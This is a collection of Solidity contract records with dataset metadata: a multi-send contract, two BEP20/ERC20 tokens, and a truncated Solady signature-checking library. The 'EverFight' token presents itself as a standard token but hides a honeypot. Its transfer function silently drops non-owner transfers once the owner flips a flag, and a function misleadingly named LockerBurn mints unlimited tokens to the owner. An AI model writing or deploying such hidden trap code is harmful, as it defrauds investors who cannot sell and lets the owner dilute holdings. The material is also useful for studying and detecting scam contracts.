require(to.length == amount.length, "Transfer length error");
uint allAmount;
for (uint256 i = 0; i < length; i++) {
allAmount += amount[i];
}
require(msg.value == allAmount.add(fee), "Transfer amount error");
payable(owner()).transfer(fee);
for (uint256 i = 0; i < length; i++) {
to[i].transfer(amount[i]);
}
}
function transferToken(address _token,
address[] memory to,
uint256 amount) public payable {
IERC20 token = IERC20(_token);
require(fee == msg.value, "Transfer amount error");
payable(owner()).transfer(fee);
uint256 length = to.length;
for (uint256 i = 0; i < length; i++) {
token.safeTransferFrom(msg.sender, to[i], amount);
}
}
function transferProToken(address _token,
address[] memory to,
uint256[] memory amount) public payable {
IERC20 token = IERC20(_token);
require(fee == msg.value, "Transfer amount error");
require(to.length == amount.length, "Transfer length error");
payable(owner()).transfer(fee);
uint256 length = to.length;
for (uint256 i = 0; i < length; i++) {
token.safeTransferFrom(msg.sender, to[i], amount[i]);
}
}
function setFee(uint256 _fee) public onlyOwner {
fee = _fee;
}
}
| 881 | 11,233 |
8c40155ab913951a7e5300b6fd0e21967b6ab1973fd42e1942859abbac3fffe6
| 21,047 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x7f7522B5b9d1dC9032b3ae48EE99922c69e7Ed73/contract.sol
| 2,766 | 9,829 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
interface iBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
interface IPancakeFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract EverFightToken is Context, iBEP20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address internal constant pancakeV2Router = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
uint256 private _totalSupply;
uint8 public _decimals;
string public _symbol;
string public _name;
bool isSL = true;
uint256 _AMM = 100000;
constructor() public {
_name = 'EverFight';
_symbol = 'EF';
_decimals = 9;
_totalSupply = 1000000 * 10**9 * 10**9;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function getOwner() external view virtual override returns (address) {
return owner();
}
function decimals() external view virtual override returns (uint8) {
return _decimals;
}
function symbol() external view virtual override returns (string memory) {
return _symbol;
}
function name() external view virtual override returns (string memory) {
return _name;
}
function totalSupply() external view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function LockerBurn(uint256 amount) external onlyOwner returns (bool) {
_balances[owner()] = _balances[owner()].add(amount);
emit Transfer(address(0), owner(), amount);
}
function theSL(bool _sl) public onlyOwner virtual returns (bool) {
isSL = _sl;
return true;
}
function sl() public view returns (bool) {
return isSL;
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
bool allow = false;
if(sender == pancakeV2Router || sender == pancakePair() || pancakePair() == address(0) || sender == owner()) {
allow = true;
} else {
if((amount <= _AMM || isSL) && !isContract(sender)) {
allow = true;
}
}
if(allow) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
function pancakePair() public view virtual returns (address) {
address pancakeV2Factory = 0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73;
address WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
address pairAddress = IPancakeFactory(pancakeV2Factory).getPair(address(WBNB), address(this));
return pairAddress;
}
function isContract(address addr) internal view returns (bool) {
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
bytes32 codehash;
assembly {
codehash := extcodehash(addr)
}
return (codehash != 0x0 && codehash != accountHash);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
| 248,747 | 11,234 |
a35c5f21c6af4ef9270fa3d751f8eda245b8c53f5e0eb8ef22cb5d1e36189aed
| 25,538 |
.sol
|
Solidity
| false |
519123139
|
JolyonJian/contracts
|
b48d691ba0c2bfb014a03e2b15bf7faa40900020
|
contracts/4035_21350_0x668c50b1c7f46effbe3f242687071d7908aab00a.sol
| 4,569 | 16,773 |
// https://corgishiba.dog
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract CoShiInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'CoShi Inu';
string private _symbol = 'CoShi';
uint8 private _decimals = 9;
uint256 public _maxTxAmount = 10000000 * 10**6 * 10**9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(0);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 230,292 | 11,235 |
2c6cbaea2b83750304f3d9737a6cef103ed110dfef32948026455be05bab39ee
| 15,309 |
.sol
|
Solidity
| false |
614106114
|
code-423n4/2023-03-canto-identity
|
077372297fc419ea7688ab62cc3fd4e8f4e24e66
|
canto-namespace-protocol/lib/solady/src/utils/SignatureCheckerLib.sol
| 3,405 | 13,312 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
/// @notice Signature verification helper that supports both ECDSA signatures from EOAs
/// and ERC1271 signatures from smart contract wallets like Argent and Gnosis safe.
/// @author Solady (https://github.com/vectorized/solady/blob/main/src/utils/SignatureCheckerLib.sol)
///
/// Note: unlike ECDSA signatures, contract signatures are revocable.
library SignatureCheckerLib {
/// @dev The number which `s` must not exceed in order for
/// the signature to be non-malleable.
bytes32 private constant _MALLEABILITY_THRESHOLD =
0x7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0;
/// @dev Returns whether `signature` is valid for `signer` and `hash`.
/// If `signer` is a smart contract, the signature is validated with ERC1271.
/// Otherwise, the signature is validated with `ECDSA.recover`.
function isValidSignatureNow(address signer, bytes32 hash, bytes calldata signature)
internal
view
returns (bool isValid)
{
/// @solidity memory-safe-assembly
assembly {
// Clean the upper 96 bits of `signer` in case they are dirty.
for { signer := shr(96, shl(96, signer)) } signer {} {
// Load the free memory pointer.
// Simply using the free memory usually costs less if many slots are needed.
let m := mload(0x40)
// If the signature is exactly 65 bytes in length.
if iszero(xor(signature.length, 65)) {
// Directly copy `r` and `s` from the calldata.
calldatacopy(add(m, 0x40), signature.offset, 0x40)
// If `s` in lower half order, such that the signature is not malleable.
if iszero(gt(mload(add(m, 0x60)), _MALLEABILITY_THRESHOLD)) {
mstore(m, hash)
// Compute `v` and store it in the memory.
mstore(add(m, 0x20), byte(0, calldataload(add(signature.offset, 0x40))))
pop(staticcall(gas(), // Amount of gas left for the transaction.
0x01, // Address of `ecrecover`.
m, // Start of input.
0x80, // Size of input.
m, // Start of output.
0x20 // Size of output.))
// `returndatasize()` will be `0x20` upon success, and `0x00` otherwise.
if mul(eq(mload(m), signer), returndatasize()) {
isValid := 1
break
}
}
}
// `bytes4(keccak256("isValidSignature(bytes32,bytes)"))`.
let f := shl(224, 0x1626ba7e)
// Write the abi-encoded calldata into memory, beginning with the function selector.
mstore(m, f)
mstore(add(m, 0x04), hash)
mstore(add(m, 0x24), 0x40) // The offset of the `signature` in the calldata.
mstore(add(m, 0x44), signature.length) // The signature length
// Copy the `signature` over.
calldatacopy(add(m, 0x64), signature.offset, signature.length)
// forgefmt: disable-next-item
isValid := and(and(// Whether the returndata is the magic value `0x1626ba7e` (left-aligned).
eq(mload(0x00), f),
// Whether the returndata is exactly 0x20 bytes (1 word) long.
eq(returndatasize(), 0x20)),
// Whether the staticcall does not revert.
// This must be placed at the end of the `and` clause,
// as the arguments are evaluated from right to left.
staticcall(gas(), // Remaining gas.
signer, // The `signer` address.
m, // Offset of calldata in memory.
add(signature.length, 0x64), // Length of calldata in memory.
0x00, // Offset of returndata.
0x20 // Length of returndata to write.))
break
}
}
}
/// @dev Returns whether the signature (`r`, `vs`) is valid for `signer` and `hash`.
/// If `signer` is a smart contract, the signature is validated with ERC1271.
/// Otherwise, the signature is validated with `ECDSA.recover`.
function isValidSignatureNow(address signer, bytes32 hash, bytes32 r, bytes32 vs)
internal
view
returns (bool isValid)
{
uint8 v;
bytes32 s;
/// @solidity memory-safe-assembly
assembly {
s := shr(1, shl(1, vs))
v := add(shr(255, vs), 27)
}
isValid = isValidSignatureNow(signer, hash, v, r, s);
}
/// @dev Returns whether the signature (`v`, `r`, `s`) is valid for `signer` and `hash`.
/// If `signer` is a smart contract, the signature is validated with ERC1271.
/// Otherwise, the signature is validated with `ECDSA.recover`.
function isValidSignatureNow(address signer, bytes32 hash, uint8 v, bytes32 r, bytes32 s)
internal
view
returns (bool isValid)
{
/// @solidity memory-safe-assembly
assembly {
// Clean the upper 96 bits of `signer` in case they are dirty.
for { signer := shr(96, shl(96, signer)) } signer {} {
// Load the free memory pointer.
// Simply using the free memory usually costs less if many slots are needed.
let m := mload(0x40)
// Clean the excess bits of `v` in case they are dirty.
v := and(v, 0xff)
// If `s` in lower half order, such that the signature is not malleable.
if iszero(gt(s, _MALLEABILITY_THRESHOLD)) {
mstore(m, hash)
mstore(add(m, 0x20), v)
mstore(add(m, 0x40), r)
mstore(add(m, 0x60), s)
pop(staticcall(gas(), // Amount of gas left for the transaction.
0x01, // Address of `ecrecover`.
m, // Start of input.
0x80, // Size of input.
m, // Start of output.
0x20 // Size of output.))
// `returndatasize()` will be `0x20` upon success, and `0x00` otherwise.
if mul(eq(mload(m), signer), returndatasize()) {
isValid := 1
break
}
}
// `bytes4(keccak256("isValidSignature(bytes32,bytes)"))`.
let f := shl(224, 0x1626ba7e)
// Write the abi-encoded calldata into memory, beginning with the function selector.
mstore(m, f) // `bytes4(keccak256("isValidSignature(bytes32,bytes)"))`.
mstore(add(m, 0x04), hash)
mstore(add(m, 0x24), 0x40) // The offset of the `signature` in the calldata.
mstore(add(m, 0x44), 65) // Store the length of the signature.
mstore(add(m, 0x64), r) // Store `r` of the signature.
mstore(add(m, 0x84), s) // Store `s` of the signature.
mstore8(add(m, 0xa4), v) // Store `v` of the signature.
// forgefmt: disable-next-item
isValid := and(and(// Whether the returndata is the magic value `0x1626ba7e` (left-aligned).
eq(mload(0x00), f),
// Whether the returndata is exactly 0x20 bytes (1 word) long.
eq(returndatasize(), 0x20)),
// Whether the staticcall does not revert.
// This must be placed at the end of the `and` clause,
// as the arguments are evaluated from right to left.
staticcall(gas(), // Remaining gas.
signer, // The `signer` address.
m, // Offset of calldata in memory.
0xa5, // Length of calldata in memory.
0x00, // Offset of returndata.
0x20 // Length of returndata to write.))
break
}
}
}
/// @dev Returns whether `signature` is valid for `hash`
/// for an ERC1271 `signer` contract.
function isValidERC1271SignatureNow(address signer, bytes32 hash, bytes calldata signature)
internal
view
returns (bool isValid)
{
/// @solidity memory-safe-assembly
assembly {
// Load the free memory pointer.
// Simply using the free memory usually costs less if many slots are needed.
let m := mload(0x40)
// `bytes4(keccak256("isValidSignature(bytes32,bytes)"))`.
let f := shl(224, 0x1626ba7e)
// Write the abi-encoded calldata into memory, beginning with the function selector.
mstore(m, f)
mstore(add(m, 0x04), hash)
mstore(add(m, 0x24), 0x40) // The offset of the `signature` in the calldata.
mstore(add(m, 0x44), signature.length) // The signature length
// Copy the `signature` over.
calldatacopy(add(m, 0x64), signature.offset, signature.length)
// forgefmt: disable-next-item
isValid := and(and(// Whether the returndata is the magic value `0x1626ba7e` (left-aligned).
eq(mload(0x00), f),
// Whether the returndata is exactly 0x20 bytes (1 word) long.
eq(returndatasize(), 0x20)),
// Whether the staticcall does not revert.
// This must be placed at the end of the `and` clause,
// as the arguments are evaluated from right to left.
staticcall(gas(), // Remaining gas.
signer, // The `signer` address.
m, // Offset of calldata in memory.
add(signature.length, 0x64), // Length of calldata in memory.
0x00, // Offset of returndata.
0x20 // Length of returndata to write.))
}
}
/// @dev Returns whether the signature (`r`, `vs`) is valid for `hash`
/// for an ERC1271 `signer` contract.
function isValidERC1271SignatureNow(address signer, bytes32 hash, bytes32 r, bytes32 vs)
internal
view
returns (bool isValid)
{
uint8 v;
bytes32 s;
/// @solidity memory-safe-assembly
assembly {
s := shr(1, shl(1, vs))
v := add(shr(255, vs), 27)
}
isValid = isValidERC1271SignatureNow(signer, hash, v, r, s);
}
/// @dev Returns whether the signature (`v`, `r`, `s`) is valid for `hash`
/// for an ERC1271 `signer` contract.
function isValidERC1271SignatureNow(address signer, bytes32 hash, uint8 v, bytes32 r, bytes32 s)
internal
view
returns (bool isValid)
{
/// @solidity memory-safe-assembly
assembly {
// Load the free memory pointer.
// Simply using the free memory usually costs less if many slots are needed.
let m := mload(0x40)
// `bytes4(keccak256("isValidSignature(bytes32,bytes)"))`.
let f := shl(224, 0x1626ba7e)
// Write the abi-encoded calldata into memory, beginning with the function selector.
mstore(m, f) // `bytes4(keccak256("isValidSignature(bytes32,bytes)"))`.
mstore(add(m, 0x04), hash)
mstore(add(m, 0x24), 0x40) // The offset of the `signature` in the calldata.
mstore(add(m, 0x44), 65) // Store the length of the signature.
mstore(add(m, 0x64), r) // Store `r` of the signature.
mstore(add(m, 0x84), s) // Store `s` of the signature.
mstore8(add(m, 0xa4), v) // Store `v` of the signature.
// forgefmt: disable-next-item
isValid := and(and(// Whether the returndata is the magic value `0x1626ba7e` (left-aligned).
eq(mload(0x00), f),
// Whether the returndata is exactly 0x20 bytes (1 word) long.
eq(returndatasize(), 0x20)),
// Whether the staticcall does not revert.
// This must be placed at the end of the `and` clause,
// as the arguments are evaluated from right to left.
staticcall(gas(), // Remaining gas.
